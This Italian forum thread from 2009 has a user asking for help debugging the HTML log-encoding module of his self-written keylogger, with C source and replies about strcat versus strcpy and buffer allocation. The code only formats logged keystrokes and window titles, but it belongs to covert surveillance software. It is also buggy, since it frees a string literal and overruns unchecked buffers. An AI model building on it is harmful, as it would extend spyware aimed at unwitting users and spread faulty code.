Oppure

Loading
27/08/09 10:46
norbix
salve in questo periodo sto riorganizzando il mio keylogger suddividendolo in vari sorgenti, il "modulo" per la codifica in HTML non funziona correttamente, e dopo vari giorni di tentativi, debugging e meditazione, sono arrivato alla conclusione che

     dest[0] = 0;
     strcat(dest, source);


non equivale a

     strcpy(dest, source);


nel vano tentativo di scoprire perchè questa cosa non sia vera, vi posto il sorgente del modulo

#include "HTML_encoder.h"
#include <string.h>
#include <windows.h>

BYTE temp[1024];

void HTML_build_row(BYTE *source, BYTE *dest)
{
     dest[0] = 0; // se il primo carattere della stringa è il carattere di fine stringa, allora la stringa è vuota

     if(strstr(source, ">> >> >>")) // example: >> >> >> N.A.K. Booted - 04/07/2009 19:17 << << <<
     {
          strcat(dest, "<bt>"); // boot title
          HTML_encoder(source, temp);
          strcat(dest, temp);
          strcat(dest, "</bt>");
     }
     else if(strstr(source, ">>")) // example: >> Disk space analizer (C:\) <<
     {
          strcat(dest, "<wt>"); // window title
          HTML_encoder(source, temp);
          strcat(dest, temp);
          strcat(dest, "</wt>");
     }
     else if(strstr(source, "<") && strstr(source, ">")) // example: <CAPSLOCK ON>
     {
          strcat(dest, "<sk>"); // special key
          HTML_encoder(source, temp);
          strcat(dest, temp);
          strcat(dest, "</sk>");
     }
     else
     {
          HTML_encoder(source, dest);
     }
}

void HTML_build_head(BYTE *dest)
{
     BYTE *code = "<html>\n"
                  "<head>\n"
                  "<title>N.A.K. Log File</title>\n"
                  "<link href = style.css rel = stylesheet type = text/css>\n"
                  "</head>\n\n"
                  "<body>\n"
                  "<code>\n";

     strcpy(dest, code);
     free(code);
}

void HTML_encoder(BYTE *source, BYTE *dest)
{
// funziona strcpy ma non strcat a quanto sembra
     dest[0] = 0; // se il primo carattere della stringa è il carattere di fine stringa, allora la stringa è vuota
strcat(dest, source); return;
     int i;
     for(i = 0; i < strlen(source); i++)
     {
          if(source[i] == '"') strcat(dest, "&quot;");
          else if(source[i] == '<') strcat(dest, "&lt;");
          else if(source[i] == '>') strcat(dest, "&gt;");
          else if(source[i] == '&') strcat(dest, "&amp;");
          else if(source[i] == '\n') strcat(dest, "<br>\n");
          else
          {
               int last_char_pos = strlen(dest) - 1;
               dest[last_char_pos + 1] = source[i]; // aggiunge alla stringa il carattere sorgente senza modificarlo
               dest[last_char_pos + 2] = 0; // aggiunge il carattere di fine stringa
          }
     }
}
aaa
28/08/09 5:23
Lawliet
Non ho capito bene cosa vuoi sapere di preciso:
Però di ciò che sò, è che la funzione strcat copia a partire dal terminatore stringa della stringa di destinazione, mentre la strcpy copia tutto e comunque sempre se c'è spazio a disposizione.
facendo così sotto è equivalente alla funzione strcpy.. però non sempre! Anche perchè penso che questo sia un eccezione particolare che si mostra equivalente.

Postato originariamente da norbix:

     dest[0] = 0;
     strcat(dest, source);

non equivale a

     strcpy(dest, source);



Nel tuo programma ho notato un piccolo errore in questa riga:
Postato originariamente da norbix:
if(source[i] == '"') strcat(dest, """);

Ultima modifica effettuata da Lawliet 28/08/09 5:24
aaa
28/08/09 11:35
norbix
non è un errore, altrimenti il compilatore me lo segnalerebbe, li c'è un doppio apice e un & quot ;

solo che non viene visualizzato nel forum, non so perchè

e quindi.. perchè non equivale?

sai la cosa davvero strana? che l'algoritmo funziona molto bene fino alla fase iniziale del programma, ma poi è come se la stringa passata (source) fosse vuota, questo l'ho scoperto grazie a qualche printf messo nei posti giusti.

ho fatto molte prove, notando come la stringa cambiasse, ho individuato le funzioni che modificano quella stringa (in realtà non la modificano, perchè viene sempre copiata) e alla fine ho trovato HTML_encoder, bypassandola infatti (strcpy(dest, source); return; a inizio funzione) il programma funziona correttamente, mentre con un strcat(); le cose non vanno per il verso giusto. quindi, la mia domanda è, perchè

dest[0] = 0;
strcat(dest, source);


non equivale a

strcpy(dest, source);


?

grazie e a presto!

IMPORTANTE: i problemi ci sono solo quando è attivo l'if dei caratteri ">>", negli altri casi tutto funziona perfettamente
Ultima modifica effettuata da norbix 28/08/09 11:37
aaa
07/09/09 17:32
norbix
ppst?
aaa
10/09/09 19:43
theprogrammer
Bisogna capire se, quando passi la stringa dest, questa e' stata regolarmente allocata.

Mostra anche il codice del main che utilizzi per chiamare le varie funzioni.

P.S. Inoltre, anche se non e' questo il problema principale, utilizzi la strcat con un vettore di BYTE e questo il compilatore dovrebbe fartelo notare (dicendoti che manca un cast ...).
aaa
11/09/09 20:50
norbix
ci avevo pensato al cast, ma non risolvendo nulla ho lasciato i BYTE, il compilatore non mi avvisa, uso GCC con l'opzione -Wall (attiva tutti i warning), e visto che mi avvisa persino se manca il carattere newline alla fine del sorgente.. penso che il cast da unsigned char a char (o viceversa) non serva proprio

uso BYTE perchè avendo studiato da poco programmazione a basso livello mi piace di più avere tutte le cose sotto controllo, anche se in questo caso è proprio una mania

il codice del main.. uhm, sono un po di file, ti allego un archivio
aaa
11/09/09 21:09
theprogrammer
Scusa, ma ti avevo chiesto solo il codice che usi quando chiami quelle funzioni per vedere se e come allochi il vettore dest.

Non voglio tutto il codice anche perche' dovrei impiegare piu' tempo a cercare quando tu sai gia' dove chiami quelle funzioni ... o no?

P.S. Considera che gia' il "tipo" di programma non mi piace ...
aaa
12/09/09 20:32
norbix
allora lascia stare, nessuno ti obbliga a fare le cose controvoglia
aaa